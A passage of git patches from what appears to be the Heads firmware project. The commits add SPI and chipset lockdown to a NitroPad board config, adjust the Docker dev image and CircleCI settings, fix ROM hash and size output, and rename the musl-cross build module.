insertions(+), 3 deletions(-) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 7721927b4..c0eccb691 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -29,7 +29,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_MSRTOOLS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 9e5dc0ee4..f7f950589 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -428,6 +428,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -489,8 +490,10 @@ CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -617,6 +620,7 @@ CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -729,9 +733,11 @@ CONFIG_INTEL_TXT_LIB=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security From 61ac2d9960b9f7541138ee53803dcc8042429a8c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 3 Nov 2024 09:10:54 -0500 Subject: [PATCH 320/619] flake.nix: make sure git dubitious permission error vanishes with docker image using /root .gitconfig considering all dirs as safe dir Signed-off-by: Thierry Laurion --- flake.nix | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/flake.nix b/flake.nix index 3ae2de90f..bee186b05 100644 --- a/flake.nix +++ b/flake.nix @@ -139,15 +139,17 @@ -e ACLOCAL_PATH \ ${self.devShell.${system}} >/devenv.sh - # Git configuration for safe directory access. - printf '[safe]\n\tdirectory = *\n' >/.gitconfig mkdir /tmp; # Temporary directory for various operations. + chmod 1777 /tmp # Ensure /etc/passwd and /etc/group exist with root entries echo "root:x:0:0:root:/root:/bin/bash" > /etc/passwd echo "root:x:0:" > /etc/group mkdir -p /root chmod 700 /root + + # Git configuration for safe directory access. + echo -e '[safe]\n\tdirectory = *\n' > /root/.gitconfig ''; }; }); From 9f735e2238073955384a244ac9d1d484bd38f9c2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 3 Nov 2024 09:13:12 -0500 Subject: [PATCH 321/619] Bump nix develop based docker image to tlaurion/heads-dev-env:v0.2.4 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 26917a2d8..2214f1e0f 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.3 + - image: tlaurion/heads-dev-env:v0.2.4 resource_class: large working_directory: ~/heads steps: @@ -115,7 +115,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.3 + - image: tlaurion/heads-dev-env:v0.2.4 resource_class: large working_directory: ~/heads parameters: @@ -143,7 +143,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.2.3 + - image: tlaurion/heads-dev-env:v0.2.4 resource_class: large working_directory: ~/heads parameters: @@ -164,7 +164,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.3 + - image: tlaurion/heads-dev-env:v0.2.4 resource_class: large working_directory: ~/heads steps: From a0c3d8ec5b8211e6f6cdfe5f8de3b10240382b45 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 3 Nov 2024 11:26:24 -0500 Subject: [PATCH 322/619] BUGFIX: targets/split_8mb4mb.mk Makefile: Make sure top/bottom/rom hash+size are always outputted in console+hashes.txt+sizes.txt Signed-off-by: Thierry Laurion --- Makefile | 7 +++++++ targets/split_8mb4mb.mk | 28 ++++++++++++++++++++-------- 2 files changed, 27 insertions(+), 8 deletions(-) diff --git a/Makefile b/Makefile index 1026785ac..1cd4b4579 100644 --- a/Makefile +++ b/Makefile @@ -245,7 +245,14 @@ $(board_build)/$(CB_UPDATE_PKG_FILE): $(board_build)/$(CB_OUTPUT_FILE) cd "$(board_build)/update_pkg" && sha256sum "$(CB_OUTPUT_FILE)" >sha256sum.txt cd "$(board_build)/update_pkg" && zip -9 "$@" "$(CB_OUTPUT_FILE)" sha256sum.txt +# Only add the hash and size if split_8mb4mb.mk is not included +ifeq ($(wildcard split_8mb4mb.mk),) all: $(board_build)/$(CB_OUTPUT_FILE) $(board_build)/$(CB_UPDATE_PKG_FILE) + @sha256sum $(board_build)/$(CB_OUTPUT_FILE) | tee -a "$(HASHES)" + @stat -c "%8s:%n" $(board_build)/$(CB_OUTPUT_FILE) | tee -a "$(SIZES)" +else +all: $(board_build)/$(CB_OUTPUT_FILE) $(board_build)/$(CB_UPDATE_PKG_FILE) +endif endif endif diff --git a/targets/split_8mb4mb.mk b/targets/split_8mb4mb.mk index 473c41bc0..f6e8e7fa0 100644 --- a/targets/split_8mb4mb.mk +++ b/targets/split_8mb4mb.mk @@ -7,12 +7,24 @@ # # When flashing via an external programmer it is easiest to have # two separate files for these pieces. -all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom -$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom: $(board_build)/$(CB_OUTPUT_FILE) - $(call do,DD 8MB,$@,dd of=$@ if=$< bs=65536 count=128 skip=0 status=none) - @sha256sum $@ | tee -a "$(HASHES)" +all: bottom top -all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom -$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom: $(board_build)/$(CB_OUTPUT_FILE) - $(call do,DD 4MB,$@,dd of=$@ if=$< bs=65536 count=64 skip=128 status=none) - @sha256sum $@ | tee -a "$(HASHES)" +bottom: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom + +$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom: $(board_build)/$(CB_OUTPUT_FILE) FORCE + @rm -f $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom + $(call do,DD 8MB,$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom,dd if=$< of=$@ bs=65536 count=128 skip=0 status=none) + @sha256sum $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom | tee -a "$(HASHES)" + @stat -c "%8s:%n" $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom | tee -a "$(SIZES)" + +top: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom + +$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom: $(board_build)/$(CB_OUTPUT_FILE) FORCE + @rm -f $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom + $(call do,DD 4MB,$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom,dd if=$< of=$@ bs=65536 count=64 skip=128 status=none) + @sha256sum $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom | tee -a "$(HASHES)" + @stat -c "%8s:%n" $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom | tee -a "$(SIZES)" + +FORCE: + +.PHONY: all bottom top FORCE From ade5ef12865f839c5fbc789cdf2b8859574f6c02 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 5 Nov 2024 15:24:11 -0500 Subject: [PATCH 323/619] modules/linux: Inconditional: pack USB keyboard optional support to all boards (linux_modules-y for usbhid.ko) Signed-off-by: Thierry Laurion --- modules/linux | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/linux b/modules/linux index b0f6cab26..8bde12346 100644 --- a/modules/linux +++ b/modules/linux @@ -79,6 +79,8 @@ $(INSTALL)/include/linux/limits.h: $(build)/$(linux_base_dir)/.canary KCONFIG_CONFIG="$(pwd)/$(linux_kconfig)" \ headers_install +# Inconditional: add USB keyboard support to all boards (linux_modules-y) +linux_modules-y += drivers/hid/usbhid/usbhid.ko # qemu linux_modules-$(CONFIG_LINUX_E1000) += drivers/net/ethernet/intel/e1000/e1000.ko @@ -122,9 +124,6 @@ linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/host/xhci-hcd.ko linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/host/xhci-pci.ko linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/storage/usb-storage.ko -#USB modules when a USB keyboard is defined in board config -linux_modules-$(CONFIG_SUPPORT_USB_KEYBOARD) += drivers/hid/usbhid/usbhid.ko - #USB modules for Mobile USB Tethering (Most Android phones, Librem phone, etc) linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/mii.ko linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/usb/usbnet.ko From 6e0edcbce6f94e42e6b490f539bcdb5b67cb28d0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 5 Nov 2024 15:26:26 -0500 Subject: [PATCH 324/619] initrd/bin/config-gui.sh: remove check for CONFIG_SUPPORT_USB_KEYBOARD since usbhid.ko packed for all boards. Menu now permits turning on keyboard from internal, non-usb keyboard or force support through CONFIG_USB_KEYBOARD_REQUIRED=y under board configs Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 7f8142e69..2580dc262 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -71,12 +71,10 @@ while true; do ) # Boards with built-in keyboards can support optional USB keyboards as well. - # Export CONFIG_SUPPORT_USB_KEYBOARD=y to enable optional support. - # Boards that do not have a built-in keyboard export + # Boards that do not have a built-in keyboard/internal keyboard is USB connected export # CONFIG_USB_KEYBOARD_REQUIRED=y; this hides the config option and ensures # USB keyboard support always loads. - [ "$CONFIG_SUPPORT_USB_KEYBOARD" = y ] && [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] \ - && dynamic_config_options+=( + [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] && dynamic_config_options+=( 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" ) From b36ed46c11933d03695addf6ec8c5907b4e5fed8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 5 Nov 2024 15:27:40 -0500 Subject: [PATCH 325/619] boards/librems: remove CONFIG_SUPPORT_USB_KEYBOARD which is now offered by default if kernel config enable it as compiled as module Signed-off-by: Thierry Laurion --- boards/librem_13v2/librem_13v2.config | 1 - boards/librem_13v4/librem_13v4.config | 1 - boards/librem_14/librem_14.config | 1 - boards/librem_15v3/librem_15v3.config | 1 - boards/librem_15v4/librem_15v4.config | 1 - 5 files changed, 5 deletions(-) diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 5accb0bcf..c52f16abc 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -27,7 +27,6 @@ CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y -export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index 0abeb61d6..fcc515152 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -27,7 +27,6 @@ CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y -export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 5c8b3d8e9..6ac128a5c 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -27,7 +27,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index cf541ef07..f21c3d677 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -27,7 +27,6 @@ CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y -export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 9deaea273..8b9ec201b 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -28,7 +28,6 @@ CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y -export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init From 8fad71ec73e33c2c7840921413eb79747a2c96f4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 6 Nov 2024 09:18:43 -0500 Subject: [PATCH 326/619] d16 boards: bump CONFIG_CRYPTSETUP=y to CONFIG_CRYPTSETUP2=y (were still using 1.7.3 which failed to build with newer muslc version bump) Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index cc998fd3b..271affcd0 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -24,7 +24,7 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server-whiptail.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server-whiptail.config -CONFIG_CRYPTSETUP=y +CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index cd34fde4a..be247d9f5 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -22,7 +22,7 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server.config -CONFIG_CRYPTSETUP=y +CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y #flashprog to support internal flashing of BMC CONFIG_FLASHPROG_AST1100=y diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index fcea9b854..a7555897c 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -18,7 +18,7 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation-usb_keyboard.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config -CONFIG_CRYPTSETUP=y +CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index 146239698..fe4b0a944 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -22,7 +22,7 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config -CONFIG_CRYPTSETUP=y +CONFIG_CRYPTSETUP2=y CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y From 30da60917c6d082b28644f59e28893d7af4f0026 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 6 Nov 2024 08:03:42 -0500 Subject: [PATCH 327/619] musl-cross-make: rename musl-cross->musl-cross-make + bump version from ~0.9.9+->~0.9.10+ (musl 1.2.0 -> 1.2.5) Signed-off-by: Thierry Laurion --- .circleci/config.yml | 42 ++++++++++++------------- Makefile | 16 +++++----- modules/linux | 2 +- modules/{musl-cross => musl-cross-make} | 28 ++++++++--------- 4 files changed, 44 insertions(+), 44 deletions(-) rename modules/{musl-cross => musl-cross-make} (55%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 2214f1e0f..2ce807047 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -65,11 +65,11 @@ jobs: - run: name: Creating coreboot (and associated patches) and musl-cross-make modules digest (musl-cross-make and coreboot cache digest) command: | - find .circleci/config.yml ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross.sha256sums + find .circleci/config.yml ./Makefile ./flake.lock ./modules/coreboot ./modules/musl-cross-make* ./patches/coreboot* -type f | sort -h | xargs sha256sum > ./tmpDir/coreboot_musl-cross-make.sha256sums - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | - find .circleci/config.yml ./Makefile ./flake.lock modules/musl-cross* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross.sha256sums + find .circleci/config.yml ./Makefile ./flake.lock modules/musl-cross-make* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross-make.sha256sums - restore_cache: # First matched/found key wins and following keys are not tried keys: @@ -79,10 +79,10 @@ jobs: - nix-docker-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for coreboot module (and patches) and musl-cross-make digests (coreboot: triannual release) - - nix-docker-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-docker-heads-coreboot-musl-cross-make-{{ checksum "./tmpDir/coreboot_musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for musl-cross-make module digest (rarely modified). - - nix-docker-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-docker-heads-musl-cross-make-{{ checksum "./tmpDir/musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} - run: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | @@ -171,26 +171,26 @@ jobs: - attach_workspace: at: ~/heads - save_cache: - # Generate cache for the same musl-cross module definition if hash is not previously existing + # Generate cache for the same musl-cross-make module definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: nix-docker-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-docker-heads-musl-cross-make-{{ checksum "./tmpDir/musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - crossgcc - packages - save_cache: # Generate cache for the same coreboot and musl-cross-make modules definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: nix-docker-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-docker-heads-coreboot-musl-cross-make-{{ checksum "./tmpDir/coreboot_musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/coreboot-talos_2 - - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/coreboot-4.11 - build/x86/coreboot-24.02.01 - build/x86/coreboot-dasharo - build/x86/coreboot-purism - - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - crossgcc - packages - save_cache: @@ -208,20 +208,20 @@ workflows: jobs: - prep_env - # This step builds musl-cross for x86 architecture, which will be used by subsequent x86 board builds + # This step builds musl-cross-make for x86 architecture, which will be used by subsequent x86 board builds - build_and_persist: - name: x86-musl-cross + name: x86-musl-cross-make target: x230-hotp-maximized - subcommand: "musl-cross" + subcommand: "musl-cross-make" requires: - prep_env - # This step builds musl-cross for ppc64 architecture, which will be used by subsequent ppc64 board builds + # This step builds musl-cross-make for ppc64 architecture, which will be used by subsequent ppc64 board builds - build_and_persist: - name: ppc64-musl-cross + name: ppc64-musl-cross-make arch: ppc64 target: talos-2 - subcommand: "musl-cross" + subcommand: "musl-cross-make" requires: - prep_env @@ -234,7 +234,7 @@ workflows: target: x230-hotp-maximized subcommand: "" requires: - - x86-musl-cross + - x86-musl-cross-make # coreboot purism - build_and_persist: @@ -254,7 +254,7 @@ workflows: target: nitropad-nv41 subcommand: "" requires: - - x86-musl-cross + - x86-musl-cross-make # coreboot talos_2 - build_and_persist: @@ -263,7 +263,7 @@ workflows: target: talos-2 subcommand: "" requires: - - ppc64-musl-cross + - ppc64-musl-cross-make # coreboot 4.11 - build_and_persist: @@ -271,7 +271,7 @@ workflows: target: librem_l1um subcommand: "" requires: - - x86-musl-cross + - x86-musl-cross-make # Cache one workspace per architecture # Make sure workspace caches are chainloaded and the last in chain for an arch is saved diff --git a/Makefile b/Makefile index 1cd4b4579..ff814647c 100644 --- a/Makefile +++ b/Makefile @@ -189,11 +189,11 @@ $(shell mkdir -p "$(initrd_lib_dir)" "$(initrd_bin_dir)" "$(initrd_data_dir)") SHELL := /usr/bin/env bash .SHELLFLAGS := -o pipefail -c -# Include the musl-cross module early so that $(CROSS) will +# Include the musl-cross-make module early so that $(CROSS) will # be defined prior to any other module. -include modules/musl-cross +include modules/musl-cross-make -musl_dep := musl-cross +musl_dep := musl-cross-make target := $(shell echo $(CROSS) | grep -Eoe '([^/]*?)-linux-musl') arch := $(subst -linux-musl, , $(target)) heads_cc := $(CROSS)gcc \ @@ -568,8 +568,8 @@ endef $(call map, define_module, $(modules-y)) -# hack to force musl-cross to be built before musl -#$(build)/$(musl_dir)/.configured: $(build)/$(musl-cross_dir)/../../crossgcc/x86_64-linux-musl/bin/x86_64-musl-linux-gcc +# hack to force musl-cross-make to be built before musl +#$(build)/$(musl_dir)/.configured: $(build)/$(musl-cross-make_dir)/../../crossgcc/x86_64-linux-musl/bin/x86_64-musl-linux-gcc # # Install a file into the initrd, if it changed from @@ -606,7 +606,7 @@ endef # Only some modules have binaries that we install # Shouldn't this be specified in the module file? -#bin_modules-$(CONFIG_MUSL) += musl-cross +#bin_modules-$(CONFIG_MUSL) += musl-cross-make bin_modules-$(CONFIG_KEXEC) += kexec bin_modules-$(CONFIG_TPMTOTP) += tpmtotp bin_modules-$(CONFIG_PCIUTILS) += pciutils @@ -666,7 +666,7 @@ endif $(COREBOOT_UTIL_DIR)/cbmem/cbmem \ $(COREBOOT_UTIL_DIR)/superiotool/superiotool \ $(COREBOOT_UTIL_DIR)/inteltool/inteltool \ -: $(build)/$(coreboot_base_dir)/.canary musl-cross +: $(build)/$(coreboot_base_dir)/.canary musl-cross-make +$(call do,MAKE,$(notdir $@),\ $(MAKE) -C "$(dir $@)" $(CROSS_TOOLS) \ ) @@ -785,7 +785,7 @@ $(build)/$(initrd_dir)/tools.cpio: $(foreach d,$(bin_modules-y),$(build)/$($d_di # List of all modules, excluding the slow to-build modules -modules-slow := musl musl-cross kernel_headers +modules-slow := musl musl-cross-make kernel_headers module_dirs := $(foreach m,$(filter-out $(modules-slow),$(modules-y)),$($m_dir)) echo_modules: diff --git a/modules/linux b/modules/linux index 8bde12346..8f6ea3d77 100644 --- a/modules/linux +++ b/modules/linux @@ -159,7 +159,7 @@ linux_target := \ $(MAKE_JOBS) \ # We cross compile linux now -linux_depends := musl-cross +linux_depends := musl-cross-make # # Linux kernel module installation diff --git a/modules/musl-cross b/modules/musl-cross-make similarity index 55% rename from modules/musl-cross rename to modules/musl-cross-make index 9c601cc45..f10a159e7 100644 --- a/modules/musl-cross +++ b/modules/musl-cross-make @@ -2,13 +2,13 @@ CONFIG_MUSL ?= y ifeq "$(MUSL_CROSS_ONCE)" "" MUSL_CROSS_ONCE := 1 -modules-$(CONFIG_MUSL) += musl-cross +modules-$(CONFIG_MUSL) += musl-cross-make -musl-cross_version := 38e52db8358c043ae82b346a2e6e66bc86a53bc1 -musl-cross_dir := musl-cross-$(musl-cross_version) -musl-cross_url := https://github.com/richfelker/musl-cross-make/archive/$(musl-cross_version).tar.gz -musl-cross_tar := musl-cross-$(musl-cross_version).tar.gz -musl-cross_hash := b4b85d6d3ddab0f2b8650a53e775673f8c346fa2fb07d652a9880bd206ade100 +musl-cross-make_version := fd6be58297ee21fcba89216ccd0d4aca1e3f1c5c +musl-cross-make_dir := musl-cross-make-$(musl-cross-make_version) +musl-cross-make_url := https://github.com/richfelker/musl-cross-make/archive/$(musl-cross-make_version).tar.gz +musl-cross-make_tar := musl-cross-make-$(musl-cross-make_version).tar.gz +musl-cross-make_hash := 15b8e0a287d738a46e069e90d67a8d96213b357b79aaf3e8cf0cd40e4b230d9e ifneq "$(CROSS)" "" @@ -20,42 +20,42 @@ else $(info Using $(CROSS)gcc) endif -# The cross compiler has already been built, so the musl-cross target +# The cross compiler has already been built, so the musl-cross-make target # is a NOP. We really don't need to check out this code tree, but it is easier # if we have a target for it. -musl-cross_target := --version +musl-cross-make_target := --version # Ask the compiler where to find its own libc.so -musl-cross_libraries := \ +musl-cross-make_libraries := \ $(shell $(CROSS)gcc --print-file-name=libc.so) \ else 